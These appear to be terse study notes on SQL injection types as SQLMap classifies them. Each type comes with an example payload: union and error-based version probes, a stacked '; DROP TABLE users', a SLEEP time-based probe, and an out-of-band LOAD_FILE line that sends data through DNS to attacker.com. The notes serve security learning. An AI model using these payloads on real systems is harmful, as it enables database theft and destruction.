1. Types of sqli

Error based sqli AND GTID_SUBSET(@@version,0)

SQLMap has the most comprehensive list of such related payloads and covers Error-based SQL Injection for the following DBMSes:

|MySQL|PostgreSQL|Oracle| |Microsoft SQL Server|Sybase|Vertica| |IBM DB2|Firebird|MonetDB|

union query based sqli UNION ALL SELECT 1,@@version,3 union usage suggests generally possible to extend original vulnerable query with injected statement results this way, if original query is rendered in response, attacker can inject considered fastest (ideal scenario) and able to pull content of whole database table of interest in single request

stacked queries ; DROP TABLE users stacking queries must be supported by the dbms sqlmap can use these vulnerabilities to run non-query statements executed in advanced features like executing os commands, data retrieval similar to time-based blind sqli types

time-based blind sql AND 1=IF(2>1, SLEEP(5),0) principle is similar to boolean-based sqli response of time is used as source of differentiation between true/false

considerably slower than boolean-based blind sqli queries resulting in true would delay server response sqli type is used in cases where booleanbased not applicable

inline queries SELECT (SELECT @@version) from embedded query within original query uncommon (vuln app needs to be written in a sort of way)

out-of-band LOAD_FILE(concat('\\\\',@@version,'.attacker.com\\README.txt'))

advanced type of sqli - used in cases where all other types are unsupported by vulnerable app or are too slow (like time-based sqli) supports out-of-band via DNS exfil (requested queries retrieved thru dns traffic) running SQL map on dns server for the domain under control (i.e. .attacker.com above)